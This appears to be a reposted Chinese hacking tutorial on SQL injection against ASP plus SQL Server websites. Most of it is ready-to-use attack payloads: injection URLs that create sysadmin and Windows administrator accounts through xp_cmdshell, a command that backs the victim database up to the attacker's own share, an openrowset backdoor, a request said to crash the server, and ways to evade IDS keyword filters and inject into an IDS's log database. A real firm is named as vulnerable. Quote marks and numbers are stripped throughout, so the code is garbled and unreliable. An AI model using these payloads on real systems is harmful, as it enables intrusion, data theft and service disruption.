SQL數據庫的一些攻擊
對於國內外的很多新聞BBS和電子商務網站都采用ASP+SQL設計而寫 ASP的程序員很多（有很多剛剛畢業的）所以ASP+SQL的攻擊成功率也比較高這類攻擊方法與NT的版本和SQL的版本沒有多大的關系也沒有相應的補丁因為漏洞是程序員自己造成的而且大多數講解ASP編程的書上源代碼例子就有這個漏洞存在其實只是一些合法的ASP對SQL的請求就留下後患無窮！
這種攻擊方法最早源於or=的漏洞（我們暫且稱其為漏洞）這個漏洞的原理我想大家因該都知道了那麼隨之而來的便是;execsp_addlogin hax（在數據庫內添加一個hax用戶）但是這個方法的限制很大首先ASP使用的SQL Server賬號是個管理員其次請求的提交變量在整個SQL語句的最後因為有一些程序員采用SELECT * FROM news WHERE id= AND topic= AND
這種方法請求數據庫那麼如果還用以上的例子就會newsasp?id=;exec sp_addlogin hax變成SELECT * FROM news WHERE id=;exec sp_addlogin hax AND topic= AND
整個SQL語句在執行sp_addlogin的存儲過程後有AND與判斷存在語法錯誤你的sp_addlogin自然也不能正常運行了因此試試看下面這個方法
newsasp?id=;exec sp_addlogin hax;
後面的符號把sp_addlogin後的判斷語句變成了注釋這樣就不會有語法錯誤了sp_addlogin正常執行！
那麼我們連一起來用吧
newsasp?id=;exec masterdbosp_addlogin hax;
newsasp?id=;exec masterdbosp_password nullhaxhax;
newsasp?id=;exec masterdbosp_addsrvrolemember sysadmin hax;
newsasp?id=;exec masterdboxp_cmdshell net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add;
newsasp?id=;exec masterdboxp_cmdshell net localgroup administrators hax /add;
這樣你在他的數據庫和系統內都留下了hax管理員賬號了
當然前提條件是ASP用管理員賬號所以虛擬空間大家就別試了不會存在這個漏洞的
以後我們會討論如果對方的ASP不是用SQL管理員賬號我們如何入侵當然也會涉及到端口的入侵
當然大家可以試試看在id=後面加上一個符號主要看對方的ASP怎麼寫了
再說說當ASP程序使用的SQL賬號不是管理員的時候我們該如何做
通常ASP用的SQL賬號就算不是管理員也會是某個數據庫的owner至少對於這個庫有很高的管理權限但是我們不知道庫名該怎麼？看看db_name()函數吧
打開你的query analyzer看看print db_name() 呵呵當前的數據庫名就出來了以次類推如下 declare @a sysname;set @a=db_name();backup database @a to disk=你的IP你的共享目錄bakdat name=test;呵呵他的當前數據庫就備份到你的硬盤上了接下來要做的大家心裡都明白了吧
同理這個方法可以找到對方的SQL的IP先裝一個防火牆打開ICMP和TCP和TCP的警告提示
然後試試看newsasp?id=;exec masterdboxp_cmdshell ping 你的IP
如果防火牆提示有人ping你那麼因該可以肯定對方的ASP用的是SQL的管理員權限同時也確定了對方的SQL Server的准確位置因為很多大一點的網站考慮性能會吧web服務和數據庫分開當對方大上了補丁看不到源代碼時我想只有這個方法能很快的定位對方的SQL Server的位置了
那麼如果對方ASP沒有SQL管理員權限我們就不能調用xp_cmdshell了該怎麼辦？
別著急試試看這個newsasp?id=;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目錄bakdatname=test;
呵呵你的防火牆該發出警告了有人連接你的或(win端口了這樣對方的SQL的ip一樣也可以暴露那麼如果對方連某個數據庫的owner也不是的話我們該怎麼辦？下次我會告訴大家一個更好的辦法
其實backuo database到你的硬盤還是有點誇張了如果對方數據庫很龐大你又是撥號上網呵呵勸你別試了很難成功傳輸的下次我們還會談到如何騙過IDS執行ASP+SQL入侵
目前有些好的IDS已經開始監視xp_cmdshell這些關鍵字了
好吧同志們下次見
所有以上url希望大家通過vbscript提交因為浏覽器的地址欄會屏蔽一些特殊字符這樣你的命令就不能完整傳輸了
windowlocationherf=URL
補充這個問題以前載網上也提出來過但是只是一些簡單的xp_cmdshell調用限制很大其實這裡面還有很多值得深入的地方
國信證卷就有這個問題而且他們采用ms的三層結構作的用以前說的xp_cmdshell做法就不行了字符串會被過濾但是我嘗試了用sql的異類請求仍然可以在對方的機器上開啟telnet服務和administrators組的賬號！由於對方防火牆很嚴checkpoint數據報進出都只開放端口因此要想獲得他的數據庫結構比較困難了但是還是有辦法可以做到的
順便提醒大家注意一下關於sqloledbdb_nameopenrowsetopendatasource這些系統函數當asp的sqlserver賬號只是一個普通用戶時他們會很有用的！
sql server新漏洞和一些突破口
下面我要談到一些sqlserver新的bug雖然本人經過長時間的努力當然也有點幸運的成分在內才得以發現不敢一個人獨享拿出來請大家鑒別當然很有可能有些高手早已知道了畢竟我接觸sqlserver的時間不到年
關於openrowset和opendatasource
可能這個技巧早有人已經會了就是利用openrowset發送本地命令
通常我們的用法是（包括MSDN的列子）如下
select * from openrowset(sqloledbmyserver;sa;select * from table)
可見（即使從字面意義上看)openrowset只是作為一個快捷的遠程數據庫訪問它必須跟在select後面也就是說需要返回一個recordset
那麼我們能不能利用它調用xp_cmdshell呢？答案是肯定的！
select * from openrowset(sqloledbserver;sa;set fmtonly off exec masterdboxp_cmdshell dir c:\)
必須加上set fmtonly off用來屏蔽默認的只返回列信息的設置這樣xp_cmdshell返回的output集合就會提交給前面的select顯示如果采用默認設置會返回空集合導致select出錯命令也就無法執行了
那麼如果我們要調用sp_addlogin呢他不會像xp_cmdshell返回任何集合的我們就不能再依靠fmtonly設置了可以如下操作
select * from openrowset(sqloledbserver;sa;select OK! exec masterdbosp_addlogin Hectic)
這樣命令至少會返回select OK!的集合你的機器商會顯示OK!同時對方的數據庫內也會增加一個Hectic的賬號也就是說我們利用select OK!的返回集合欺騙了本地的select請求是命令能夠正常執行通理sp_addsrvrolemember和opendatasource也可以如此操作！至於這個方法真正的用處大家慢慢想吧
關於msdasql兩次請求的問題
不知道大家有沒有試過用msdasql連接遠程數據庫當然這個api必須是sqlserver的管理員才可以調用那麼如下
select * from openrowset(msdasqldriver={sqlserver};server=server;address=server;uid=sa;pwd=;database=master;network=dbmssocnselect * from table select * fromtable)
當table和table的字段數目不相同時你會發現對方的sqlserver崩潰了連本地連接都會失敗而系統資源占用一切正常用pskill殺死sqlserver進程後如果不重啟機器sqlserver要麼無法正常啟動要麼時常出現非法操作我也只是碰巧找到這個bug的具體原因我還沒有摸透而且很奇怪的是這個現象只出現在msdasql上sqloledb就沒有這個問題看來問題不是在於請求集合數目和返回集合數目不匹配上因該還是msdasql本身的問題具體原因大家一起慢慢研究吧
可怕的後門
以前在網上看到有人說在sqlserver上留後門可以通過添加trigerjobs或改寫sp_addlogin和sp_addsrvrolemember做到這些方法當然可行但是很容易會被發現不知道大家有沒有想過sqloledb的本地連接映射呵呵比如你在對方的sqlserver上用sqlserver的管理員賬號執行如下的命令
select * from openrowset(sqloledbtrusted_connection=yes;data source=Hecticset fmtonly off exec masterxp_cmdshelldir c:\)
這樣在對方的sqlserver上建立了一個名為Hectic的本地連接映射只要sqlserver不重啟這個映射會一直存在下去至少我現在還不知道如何發現別人放置的連接映射好了以上的命令運行過後你會發現哪怕是sqlserver沒有任何權限的guest用戶運行以上這條命令也一樣能通過！而且權限是localsystem！（默認安裝）呵呵！這個方法可以用來在以被入侵過獲得管理員權限的sqlserver上留下一個後門了
以上的方法在sqlserver+sqlserverSP上通過！
*另外還有一個猜測不知道大家有沒有注意過windows默認附帶的兩個dsn一個是localserver一個是msqi這兩個在建立的時候是本地管理員賬號連接sqlserver的如果對方的sqlserver是通過自定義的power user啟動那麼sa的權限就和power user一樣很難有所大作為但是我們通過如下的命令
select * from openrowset(msdasqldsn=locaserver;trusted_connection=yesset fmtonly off exec masterxp_cmdshell dirc:\)應該可以利用localserver的管理員賬號連接本地sqlserver然後再以這個賬號的權限執行本地命令了這是後我想應該能突破sa那個power user權限了現在的問題是sqloledb無法調用dsn連接而msdasql非管理員不讓調用所以我現在正在尋找guest調用msdasql的方法如果有人知道這個bug如何突破或有新的想法我們可以一起討論一下這個發放如果能成功被guest利用將會是一個很嚴重的安全漏洞
因為我們前面提到的任何sql語句都可以提交給對方的asp去幫我們執行
利用tsql騙過ids或攻擊ids
現在的ids已經變得越來越聰明了
有的ids加入了xp_cmdshell sp_addlogin 的監視
但是畢竟人工智能沒有出現的今天這種監視總是有種騙人的感覺
先說說欺騙ids:
ids既然監視xp_cmdshell關鍵字那麼我們可以這麼做
declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
這個代碼象性大家都能看明白還有xp_cmdshell作為一個store procedure在master庫內有一個id號固定的我們也可以這麼做
假設這個id=
declare @a sysname select @a=name from sysobjects where id= exec @a dir c:\
當然也可以
declare @a sysname select @a=name from sysobjects where id=+ exec @a dir c:\
這種做法排列組合ids根本不可能做的到完全監視
同理sp_addlogin也可以這麼做
再說說攻擊ids:
因為ids數據量很大日至通常備份到常規數據庫比如sql server
如果用古老的recordsetaddnew做法會嚴重影響ids的性能因為通過ado做tsql請求不但效率高而且有一部分工作可以交給sql server去做
通常程序會這麼寫
insert table values (日至內容)
那麼我麼想想看如果用
temp) exec xp_cmdshell dir c:\
提交後會變成
insert table values (日至內容temp) exec xp_cmdshell dir c:\ )
這樣xp_cmdshell就可以在ids的數據庫運行了 ）
當然ids是一個嗅歎器他會抓所有的報而浏覽器提交的時候會把空格變成%
因此%會被提交到sql server這樣你的命令就無法執行了
唯一的辦法就是
insert/**/table/**/values(日至內容temp)/**/exec/**/xp_cmdshell/**/dir c:\/**/ )
用/**/代替空格做間隔符這樣你的tsql才能在ids的數據庫內執行
當然也可以用其他語句可以破壞備份ids的數據庫到你的共享目錄
呵呵
其實這種方法的原理和攻擊asp是一樣的只是把空格變成了/**/
本來asp是select語句那麼用就可以屏蔽
現在ids用insert語句那麼用)屏蔽
好了其他很多新的入侵語句大家可以自己慢慢想最好的測試工具就是query analyzer《SQL自帶工具》
From:http://tw.wingwit.com/Article/program/SQLServer/201311/22017.html
